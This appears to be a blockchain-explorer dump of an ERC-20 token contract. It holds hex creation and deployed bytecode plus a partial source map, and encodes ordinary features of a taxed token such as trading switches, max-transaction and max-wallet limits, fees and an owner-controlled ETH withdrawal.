0518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a2c848461085b565b90506000198114610a945781811015610a875760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106f5565b610a9484848484036108fc565b50505050565b6001600160a01b038316610ac05760405162461bcd60e51b81526004016106f59061155d565b6001600160a01b038216610ae65760405162461bcd60e51b81526004016106f5906115a2565b80600003610aff57610afa8383600061112e565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610b4157506001600160a01b03831660009081526015602052604090205460ff16155b9050610b556005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610b8457506005546001600160a01b03848116911614155b8015610b9857506001600160a01b03831615155b8015610baf57506001600160a01b03831661dead14155b8015610bc55750600854600160a01b900460ff16155b15610eaa5760105460ff16610c58576001600160a01b03841660009081526013602052604090205460ff1680610c1357506001600160a01b03831660009081526013602052604090205460ff165b610c585760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106f5565b6001600160a01b03841660009081526015602052604090205460ff168015610c9957506001600160a01b03831660009081526014602052604090205460ff16155b15610d7357600d54821115610d045760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a393729b4bd329760a91b60648201526084016106f5565b600e546001600160a01b038416600090815260208190526040902054610d2a908461154a565b1115610d6e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106f5565b610eaa565b6001600160a01b03831660009081526015602052604090205460ff168015610db457506001600160a01b03841660009081526014602052604090205460ff16155b15610e2057600d54821115610d6e5760405162461bcd60e51b815260206004820152602c60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526b1036b0bc2a393729b4bd329760a11b60648201526084016106f5565b6001600160a01b03831660009081526014602052604090205460ff16610eaa57600e546001600160a01b038416600090815260208190526040902054610e66908461154a565b1115610eaa5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106f5565b306000908152602081905260409020548115808015610ed35750600854600160a01b900460ff16155b8015610ef857506001600160a01b03861660009081526015602052604090205460ff16155b8015610f1d57506001600160a01b03861660009081526013602052604090205460ff16155b8015610f4257506001600160a01b03851660009081526013602052604090205460ff16155b15610f7a576008805460ff60a01b1916600160a01b179055610f6384611258565b610f6c47611347565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015610f95575083155b6001600160a01b03881660009081526013602052604090205490915060ff1680610fd757506001600160a01b03861660009081526013602052604090205460ff165b15610fe0575060005b6000811561106d576001600160a01b03871660009081526015602052604090205460ff16156110305761102960646110236012548961138190919063ffffffff16565b90611394565b905061104d565b61104a60646110236011548961138190919063ffffffff16565b90505b8015611060576110608861dead8361112e565b61106a81876115e5565b95505b61107888888861112e565b5050505050505050565b6005546001600160a01b0316331461073c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106f5565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111545760405162461bcd60e51b81526004016106f59061155d565b6001600160a01b03821661117a5760405162461bcd60e51b81526004016106f5906115a2565b6001600160a01b038316600090815260208190526040902054818110156111f25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106f5565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610a94565b306000908152602081905260408120549081810361127557505050565b601254601154611285919061154a565b6000036112e55760008211801561129d5750600f5482105b156112a757505050565b60006112c360646110236012548761138190919063ffffffff16565b90506112cf81856115e5565b9350600f54841115610a9457600f549150610a94565b6000821180156113015750600f546112fe906005611394565b82105b1561130b57505050565b6000821180156113275750600f54611324906005611394565b82115b80156113345750600f5482105b156112a757600f54610a94906005611394565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610726573d6000803e3d6000fd5b600061138d82846115f8565b9392505050565b600061138d828461160f565b600060208083528351808285015260005b818110156113cd578581018301518582016040015282016113b1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461140557600080fd5b919050565b6000806040838503121561141d57600080fd5b611426836113ee565b946020939093013593505050565b60008060006060848603121561144957600080fd5b611452846113ee565b9250611460602085016113ee565b9150604084013590509250925092565b6000806040838503121561148357600080fd5b61148c836113ee565b9150602083013580151581146114a157600080fd5b809150509250929050565b6000602082840312156114be57600080fd5b61138d826113ee565b600080604083850312156114da57600080fd5b6114e3836113ee565b91506114f1602084016113ee565b90509250929050565b600181811c9082168061150e57607f821691505b60208210810361152e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561062157610621611534565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561062157610621611534565b808202811582820484141761062157610621611534565b60008261162c57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122000daa4e589cdb38029878ec77ce0ab229f1f480259243f549a2eeb3fad57f57e64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c806383fd0367116100f75780639e92f2d311610095578063dd62ed3e11610064578063dd62ed3e1461050f578063e2f456051461052f578063f2fde38b14610545578063fe5fe4d41461056557600080fd5b80639e92f2d3146104a4578063a457c2d7146104ba578063a9059cbb146104da578063dc793c10146104fa57600080fd5b80638da5cb5b116100d15780638da5cb5b146104415780638f3fa8601461045f57806391d3e9551461047557806395d89b411461048f57600080fd5b806383fd03671461040057806389291a8f146104165780638a50e0e21461042b57600080fd5b8063395093511161016f578063629b05f01161013e578063629b05f01461038a57806370a08231146103a0578063715018a6146103d6578063751039fc146103eb57600080fd5b806339509351146102c357806347bdc57e146102e35780634fbee19314610305578063583e05681461033e57600080fd5b806318160ddd116101ab57806318160ddd1461025c57806323b872dd146102715780632dc063f114610291578063313ce567146102a757600080fd5b806306fdde03146101dd578063095ea7b3146102085780630a910d1f1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f261057b565b6040516101ff91906113a0565b60405180910390f35b34801561021457600080fd5b5061022861022336600461140a565b61060d565b60405190151581526020016101ff565b34801561024457600080fd5b5061024e60115481565b6040519081526020016101ff565b34801561026857600080fd5b5060025461024e565b34801561027d57600080fd5b5061022861028c366004611434565b610627565b34801561029d57600080fd5b5061024e600c5481565b3480156102b357600080fd5b50604051600981526020016101ff565b3480156102cf57600080fd5b506102286102de36600461140a565b61064b565b3480156102ef57600080fd5b506103036102fe366004611470565b61066d565b005b34801561031157600080fd5b506102286103203660046114ac565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561034a57600080fd5b506103727f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace81565b6040516001600160a01b0390911681526020016101ff565b34801561039657600080fd5b5061024e60095481565b3480156103ac57600080fd5b5061024e6103bb3660046114ac565b6001600160a01b031660009081526020819052604090205490565b3480156103e257600080fd5b5061030361072a565b3480156103f757600080fd5b5061030361073e565b34801561040c57600080fd5b5061024e60125481565b34801561042257600080fd5b5061030361075d565b34801561043757600080fd5b5061024e600d5481565b34801561044d57600080fd5b506005546001600160a01b0316610372565b34801561046b57600080fd5b5061024e600e5481565b34801561048157600080fd5b506010546102289060ff1681565b34801561049b57600080fd5b506101f26107ac565b3480156104b057600080fd5b5061024e600b5481565b3480156104c657600080fd5b506102286104d536600461140a565b6107bb565b3480156104e657600080fd5b506102286104f536600461140a565b610836565b34801561050657600080fd5b50610303610844565b34801561051b57600080fd5b5061024e61052a3660046114c7565b61085b565b34801561053b57600080fd5b5061024e600f5481565b34801561055157600080fd5b506103036105603660046114ac565b610886565b34801561057157600080fd5b5061024e600a5481565b60606003805461058a906114fa565b80601f01602080910402602001604051908101604052809291908181526020018280546105b6906114fa565b80156106035780601f106105d857610100808354040283529160200191610603565b820191906000526020600020905b8154815290600101906020018083116105e657829003601f168201915b5050505050905090565b60003361061b8185856108fc565b60019150505b92915050565b600033610635858285610a20565b610640858585610a9a565b506001949350505050565b60003361061b81858561065e838361085b565b610668919061154a565b6108fc565b610675611082565b6006546001600160a01b03908116908316036106fe5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b6001600160a01b0382166000908152601560205260409020805460ff19168215151790555050565b5050565b610732611082565b61073c60006110dc565b565b610746611082565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b03161461077d57600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107a9573d6000803e3d6000fd5b50565b60606004805461058a906114fa565b600033816107c9828661085b565b9050838110156108295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106f5565b61064082868684036108fc565b60003361061b818585610a9a565b61084c611082565b6010805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61088e611082565b6001600160a01b0381166108f35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106f5565b6107a9816110dc565b6001600160a01b03831661095e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106f5565b6001600160a01b0382166109bf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106f5565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a2c848461085b565b90506000198114610a945781811015610a875760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106f5565b610a9484848484036108fc565b50505050565b6001600160a01b038316610ac05760405162461bcd60e51b81526004016106f59061155d565b6001600160a01b038216610ae65760405162461bcd60e51b81526004016106f5906115a2565b80600003610aff57610afa8383600061112e565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610b4157506001600160a01b03831660009081526015602052604090205460ff16155b9050610b556005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610b8457506005546001600160a01b03848116911614155b8015610b9857506001600160a01b03831615155b8015610baf57506001600160a01b03831661dead14155b8015610bc55750600854600160a01b900460ff16155b15610eaa5760105460ff16610c58576001600160a01b03841660009081526013602052604090205460ff1680610c1357506001600160a01b03831660009081526013602052604090205460ff165b610c585760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106f5565b6001600160a01b03841660009081526015602052604090205460ff168015610c9957506001600160a01b03831660009081526014602052604090205460ff16155b15610d7357600d54821115610d045760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a393729b4bd329760a91b60648201526084016106f5565b600e546001600160a01b038416600090815260208190526040902054610d2a908461154a565b1115610d6e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106f5565b610eaa565b6001600160a01b03831660009081526015602052604090205460ff168015610db457506001600160a01b03841660009081526014602052604090205460ff16155b15610e2057600d54821115610d6e5760405162461bcd60e51b815260206004820152602c60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526b1036b0bc2a393729b4bd329760a11b60648201526084016106f5565b6001600160a01b03831660009081526014602052604090205460ff16610eaa57600e546001600160a01b038416600090815260208190526040902054610e66908461154a565b1115610eaa5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106f5565b306000908152602081905260409020548115808015610ed35750600854600160a01b900460ff16155b8015610ef857506001600160a01b03861660009081526015602052604090205460ff16155b8015610f1d57506001600160a01b03861660009081526013602052604090205460ff16155b8015610f4257506001600160a01b03851660009081526013602052604090205460ff16155b15610f7a576008805460ff60a01b1916600160a01b179055610f6384611258565b610f6c47611347565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015610f95575083155b6001600160a01b03881660009081526013602052604090205490915060ff1680610fd757506001600160a01b03861660009081526013602052604090205460ff165b15610fe0575060005b6000811561106d576001600160a01b03871660009081526015602052604090205460ff16156110305761102960646110236012548961138190919063ffffffff16565b90611394565b905061104d565b61104a60646110236011548961138190919063ffffffff16565b90505b8015611060576110608861dead8361112e565b61106a81876115e5565b95505b61107888888861112e565b5050505050505050565b6005546001600160a01b0316331461073c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106f5565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111545760405162461bcd60e51b81526004016106f59061155d565b6001600160a01b03821661117a5760405162461bcd60e51b81526004016106f5906115a2565b6001600160a01b038316600090815260208190526040902054818110156111f25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106f5565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610a94565b306000908152602081905260408120549081810361127557505050565b601254601154611285919061154a565b6000036112e55760008211801561129d5750600f5482105b156112a757505050565b60006112c360646110236012548761138190919063ffffffff16565b90506112cf81856115e5565b9350600f54841115610a9457600f549150610a94565b6000821180156113015750600f546112fe906005611394565b82105b1561130b57505050565b6000821180156113275750600f54611324906005611394565b82115b80156113345750600f5482105b156112a757600f54610a94906005611394565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610726573d6000803e3d6000fd5b600061138d82846115f8565b9392505050565b600061138d828461160f565b600060208083528351808285015260005b818110156113cd578581018301518582016040015282016113b1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461140557600080fd5b919050565b6000806040838503121561141d57600080fd5b611426836113ee565b946020939093013593505050565b60008060006060848603121561144957600080fd5b611452846113ee565b9250611460602085016113ee565b9150604084013590509250925092565b6000806040838503121561148357600080fd5b61148c836113ee565b9150602083013580151581146114a157600080fd5b809150509250929050565b6000602082840312156114be57600080fd5b61138d826113ee565b600080604083850312156114da57600080fd5b6114e3836113ee565b91506114f1602084016113ee565b90509250929050565b600181811c9082168061150e57607f821691505b60208210810361152e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561062157610621611534565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561062157610621611534565b808202811582820484141761062157610621611534565b60008261162c57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122000daa4e589cdb38029878ec77ce0ab229f1f480259243f549a2eeb3fad57f57e64736f6c63430008150033

Deployed Bytecode Sourcemap

14571:7568:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9217:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10148:201;;;;;;;;;;-1:-1:-1;10148:201:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;10148:201:0;1004:187:1;15294:25:0;;;;;;;;;;;;;;;;;;;1342::1;;;1330:2;1315:18;15294:25:0;1196:177:1;9537:108:0;;;;;;;;;;-1:-1:-1;9625:12:0;;9537:108;;10357:295;;;;;;;;;;-1:-1:-1;10357:295:0;;;;;:::i;:::-;;:::i;15106:34::-;;;;;;;;;;;;;;;;9437:92;;;;;;;;;;-1:-1:-1;9437:92:0;;9520:1;1853:36:1;;1841:2;1826:18;9437:92:0;1711:184:1;10660:238:0;;;;;;;;;;-1:-1:-1;10660:238:0;;;;;:::i;:::-;;:::i;17358:226::-;;;;;;;;;;-1:-1:-1;17358:226:0;;;;;:::i;:::-;;:::i;:::-;;17730:126;;;;;;;;;;-1:-1:-1;17730:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;17820:28:0;17796:4;17820:28;;;:19;:28;;;;;;;;;17730:126;14652:52;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2632:32:1;;;2614:51;;2602:2;2587:18;14652:52:0;2443:228:1;14966:47:0;;;;;;;;;;;;;;;;9653:127;;;;;;;;;;-1:-1:-1;9653:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9754:18:0;9727:7;9754:18;;;;;;;;;;;;9653:127;8292:103;;;;;;;;;;;;;:::i;20326:169::-;;;;;;;;;;;;;:::i;15326:26::-;;;;;;;;;;;;;;;;20503:157;;;;;;;;;;;;;:::i;15149:25::-;;;;;;;;;;;;;;;;8057:87;;;;;;;;;;-1:-1:-1;8130:6:0;;-1:-1:-1;;;;;8130:6:0;8057:87;;15181:28;;;;;;;;;;;;;;;;15258:27;;;;;;;;;;-1:-1:-1;15258:27:0;;;;;;;;9325:104;;;;;;;;;;;;;:::i;15062:37::-;;;;;;;;;;;;;;;;10906:436;;;;;;;;;;-1:-1:-1;10906:436:0;;;;;:::i;:::-;;:::i;9788:193::-;;;;;;;;;;-1:-1:-1;9788:193:0;;;;;:::i;:::-;;:::i;16943:78::-;;;;;;;;;;;;;:::i;9989:151::-;;;;;;;;;;-1:-1:-1;9989:151:0;;;;;:::i;:::-;;:::i;15216:33::-;;;;;;;;;;;;;;;;8403:201;;;;;;;;;;-1:-1:-1;8403:201:0;;;;;:::i;:::-;;:::i;15022:33::-;;;;;;;;;;;;;;;;9217:100;9271:13;9304:5;9297:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9217:100;:::o;10148:201::-;10231:4;608:10;10287:32;608:10;10303:7;10312:6;10287:8;:32::i;:::-;10337:4;10330:11;;;10148:201;;;;;:::o;10357:295::-;10488:4;608:10;10546:38;10562:4;608:10;10577:6;10546:15;:38::i;:::-;10595:27;10605:4;10611:2;10615:6;10595:9;:27::i;:::-;-1:-1:-1;10640:4:0;;10357:295;-1:-1:-1;;;;10357:295:0:o;10660:238::-;10748:4;608:10;10804:64;608:10;10820:7;10857:10;10829:25;608:10;10820:7;10829:9;:25::i;:::-;:38;;;;:::i;:::-;10804:8;:64::i;17358:226::-;8016:13;:11;:13::i;:::-;17449::::1;::::0;-1:-1:-1;;;;;17449:13:0;;::::1;17441:21:::0;;::::1;::::0;17433:91:::1;;;::::0;-1:-1:-1;;;17433:91:0;;3998:2:1;17433:91:0::1;::::0;::::1;3980:21:1::0;4037:2;4017:18;;;4010:30;4076:34;4056:18;;;4049:62;4147:27;4127:18;;;4120:55;4192:19;;17433:91:0::1;;;;;;;;;-1:-1:-1::0;;;;;17675:31:0;;;;;;:25;:31;;;;;:39;;-1:-1:-1;;17675:39:0;;;;;;;17358:226;;:::o;17535:41::-:1;17358:226:::0;;:::o;8292:103::-;8016:13;:11;:13::i;:::-;8357:30:::1;8384:1;8357:18;:30::i;:::-;8292:103::o:0;20326:169::-;8016:13;:11;:13::i;:::-;20393:12:::1;::::0;20380:10:::1;:25:::0;;;20416:13:::1;:28:::0;-1:-1:-1;20455:6:0::1;:10:::0;;;20476:7:::1;:11:::0;20326:169::o;20503:157::-;20572:17;;-1:-1:-1;;;;;20572:17:0;608:10;-1:-1:-1;;;;;20556:33:0;;20548:42;;;;;;20601:51;;20609:10;;20630:21;20601:51;;;;;;;;;20630:21;20609:10;20601:51;;;;;;;;;;;;;;;;;;;;;20503:157::o;9325:104::-;9381:13;9414:7;9407:14;;;;;:::i;10906:436::-;10999:4;608:10;10999:4;11082:25;608:10;11099:7;11082:9;:25::i;:::-;11055:52;;11146:15;11126:16;:35;;11118:85;;;;-1:-1:-1;;;11118:85:0;;4424:2:1;11118:85:0;;;4406:21:1;4463:2;4443:18;;;4436:30;4502:34;4482:18;;;4475:62;-1:-1:-1;;;4553:18:1;;;4546:35;4598:19;;11118:85:0;4222:401:1;11118:85:0;11239:60;11248:5;11255:7;11283:15;11264:16;:34;11239:8;:60::i;9788:193::-;9867:4;608:10;9923:28;608:10;9940:2;9944:6;9923:9;:28::i;16943:78::-;8016:13;:11;:13::i;:::-;16999:7:::1;:14:::0;;-1:-1:-1;;16999:14:0::1;17009:4;16999:14;::::0;;16943:78::o;9989:151::-;-1:-1:-1;;;;;10105:18:0;;;10078:7;10105:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9989:151::o;8403:201::-;8016:13;:11;:13::i;:::-;-1:-1:-1;;;;;8492:22:0;::::1;8484:73;;;::::0;-1:-1:-1;;;8484:73:0;;4830:2:1;8484:73:0::1;::::0;::::1;4812:21:1::0;4869:2;4849:18;;;4842:30;4908:34;4888:18;;;4881:62;-1:-1:-1;;;4959:18:1;;;4952:36;5005:19;;8484:73:0::1;4628:402:1::0;8484:73:0::1;8568:28;8587:8;8568:18;:28::i;13458:380::-:0;-1:-1:-1;;;;;13594:19:0;;13586:68;;;;-1:-1:-1;;;13586:68:0;;5237:2:1;13586:68:0;;;5219:21:1;5276:2;5256:18;;;5249:30;5315:34;5295:18;;;5288:62;-1:-1:-1;;;5366:18:1;;;5359:34;5410:19;;13586:68:0;5035:400:1;13586:68:0;-1:-1:-1;;;;;13673:21:0;;13665:68;;;;-1:-1:-1;;;13665:68:0;;5642:2:1;13665:68:0;;;5624:21:1;5681:2;5661:18;;;5654:30;5720:34;5700:18;;;5693:62;-1:-1:-1;;;5771:18:1;;;5764:32;5813:19;;13665:68:0;5440:398:1;13665:68:0;-1:-1:-1;;;;;13746:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13798:32;;1342:25:1;;;13798:32:0;;1315:18:1;13798:32:0;;;;;;;13458:380;;;:::o;13846:453::-;13981:24;14008:25;14018:5;14025:7;14008:9;:25::i;:::-;13981:52;;-1:-1:-1;;14048:16:0;:37;14044:248;;14130:6;14110:16;:26;;14102:68;;;;-1:-1:-1;;;14102:68:0;;6045:2:1;14102:68:0;;;6027:21:1;6084:2;6064:18;;;6057:30;6123:31;6103:18;;;6096:59;6172:18;;14102:68:0;5843:353:1;14102:68:0;14214:51;14223:5;14230:7;14258:6;14239:16;:25;14214:8;:51::i;:::-;13970:329;13846:453;;;:::o;17864:2455::-;-1:-1:-1;;;;;17964:18:0;;17956:68;;;;-1:-1:-1;;;17956:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18043:16:0;;18035:64;;;;-1:-1:-1;;;18035:64:0;;;;;;;:::i;:::-;18116:6;18126:1;18116:11;18112:93;;18144:28;18160:4;18166:2;18170:1;18144:15;:28::i;:::-;17864:2455;;;:::o;18112:93::-;-1:-1:-1;;;;;18242:31:0;;18223:15;18242:31;;;:25;:31;;;;;;;;18241:32;:66;;;;-1:-1:-1;;;;;;18278:29:0;;;;;;:25;:29;;;;;;;;18277:30;18241:66;18223:84;;18340:7;8130:6;;-1:-1:-1;;;;;8130:6:0;;8057:87;18340:7;-1:-1:-1;;;;;18332:15:0;:4;-1:-1:-1;;;;;18332:15:0;;;:32;;;;-1:-1:-1;8130:6:0;;-1:-1:-1;;;;;18351:13:0;;;8130:6;;18351:13;;18332:32;:52;;;;-1:-1:-1;;;;;;18368:16:0;;;;18332:52;:77;;;;-1:-1:-1;;;;;;18388:21:0;;18402:6;18388:21;;18332:77;:88;;;;-1:-1:-1;18414:6:0;;-1:-1:-1;;;18414:6:0;;;;18413:7;18332:88;18328:971;;;18448:7;;;;18443:144;;-1:-1:-1;;;;;18488:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;18517:23:0;;;;;;:19;:23;;;;;;;;18488:52;18480:87;;;;-1:-1:-1;;;18480:87:0;;7213:2:1;18480:87:0;;;7195:21:1;7252:2;7232:18;;;7225:30;-1:-1:-1;;;7271:18:1;;;7264:52;7333:18;;18480:87:0;7011:346:1;18480:87:0;-1:-1:-1;;;;;18611:31:0;;;;;;:25;:31;;;;;;;;:54;;;;-1:-1:-1;;;;;;18647:18:0;;;;;;:14;:18;;;;;;;;18646:19;18611:54;18607:677;;;18726:10;;18716:6;:20;;18708:76;;;;-1:-1:-1;;;18708:76:0;;7564:2:1;18708:76:0;;;7546:21:1;7603:2;7583:18;;;7576:30;7642:34;7622:18;;;7615:62;-1:-1:-1;;;7693:18:1;;;7686:41;7744:19;;18708:76:0;7362:407:1;18708:76:0;18841:13;;-1:-1:-1;;;;;9754:18:0;;9727:7;9754:18;;;;;;;;;;;18815:22;;:6;:22;:::i;:::-;:39;;18807:71;;;;-1:-1:-1;;;18807:71:0;;7976:2:1;18807:71:0;;;7958:21:1;8015:2;7995:18;;;7988:30;-1:-1:-1;;;8034:18:1;;;8027:49;8093:18;;18807:71:0;7774:343:1;18807:71:0;18607:677;;;-1:-1:-1;;;;;18927:29:0;;;;;;:25;:29;;;;;;;;:54;;;;-1:-1:-1;;;;;;18961:20:0;;;;;;:14;:20;;;;;;;;18960:21;18927:54;18923:361;;;19024:10;;19014:6;:20;;19006:77;;;;-1:-1:-1;;;19006:77:0;;8324:2:1;19006:77:0;;;8306:21:1;8363:2;8343:18;;;8336:30;8402:34;8382:18;;;8375:62;-1:-1:-1;;;8453:18:1;;;8446:42;8505:19;;19006:77:0;8122:408:1;18923:361:0;-1:-1:-1;;;;;19150:18:0;;;;;;:14;:18;;;;;;;;19145:139;;19227:13;;-1:-1:-1;;;;;9754:18:0;;9727:7;9754:18;;;;;;;;;;;19201:22;;:6;:22;:::i;:::-;:39;;19193:71;;;;-1:-1:-1;;;19193:71:0;;7976:2:1;19193:71:0;;;7958:21:1;8015:2;7995:18;;;7988:30;-1:-1:-1;;;8034:18:1;;;8027:49;8093:18;;19193:71:0;7774:343:1;19193:71:0;19360:4;19311:28;9754:18;;;;;;;;;;;19423:11;;;19451:18;;;;-1:-1:-1;19463:6:0;;-1:-1:-1;;;19463:6:0;;;;19462:7;19451:18;:54;;;;-1:-1:-1;;;;;;19474:31:0;;;;;;:25;:31;;;;;;;;19473:32;19451:54;:84;;;;-1:-1:-1;;;;;;19510:25:0;;;;;;:19;:25;;;;;;;;19509:26;19451:84;:112;;;;-1:-1:-1;;;;;;19540:23:0;;;;;;:19;:23;;;;;;;;19539:24;19451:112;19447:268;;;19580:6;:13;;-1:-1:-1;;;;19580:13:0;-1:-1:-1;;;19580:13:0;;;19608:16;19617:6;19608:8;:16::i;:::-;19639:35;19652:21;19639:12;:35::i;:::-;19689:6;:14;;-1:-1:-1;;;;19689:14:0;;;19447:268;19743:6;;19727:12;;-1:-1:-1;;;19743:6:0;;;;19742:7;:22;;;;;19754:10;19753:11;19742:22;-1:-1:-1;;;;;19781:25:0;;;;;;:19;:25;;;;;;19727:37;;-1:-1:-1;19781:25:0;;;:52;;-1:-1:-1;;;;;;19810:23:0;;;;;;:19;:23;;;;;;;;19781:52;19777:100;;;-1:-1:-1;19860:5:0;19777:100;19889:12;19922:7;19918:350;;;-1:-1:-1;;;;;19950:29:0;;;;;;:25;:29;;;;;;;;19946:193;;;20007:28;20031:3;20007:19;20018:7;;20007:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;20000:35;;19946:193;;;20096:27;20119:3;20096:18;20107:6;;20096;:10;;:18;;;;:::i;:27::-;20089:34;;19946:193;20155:8;;20151:85;;20180:44;20196:4;20210:6;20219:4;20180:15;:44::i;:::-;20246:14;20256:4;20246:14;;:::i;:::-;;;19918:350;20278:33;20294:4;20300:2;20304:6;20278:15;:33::i;:::-;17943:2376;;;;;17864:2455;;;:::o;8152:132::-;8130:6;;-1:-1:-1;;;;;8130:6:0;608:10;8216:23;8208:68;;;;-1:-1:-1;;;8208:68:0;;8870:2:1;8208:68:0;;;8852:21:1;;;8889:18;;;8882:30;8948:34;8928:18;;;8921:62;9000:18;;8208:68:0;8668:356:1;8612:191:0;8705:6;;;-1:-1:-1;;;;;8722:17:0;;;-1:-1:-1;;;;;;8722:17:0;;;;;;;8755:40;;8705:6;;;8722:17;8705:6;;8755:40;;8686:16;;8755:40;8675:128;8612:191;:::o;11350:675::-;-1:-1:-1;;;;;11481:18:0;;11473:68;;;;-1:-1:-1;;;11473:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11560:16:0;;11552:64;;;;-1:-1:-1;;;11552:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11702:15:0;;11680:19;11702:15;;;;;;;;;;;11736:21;;;;11728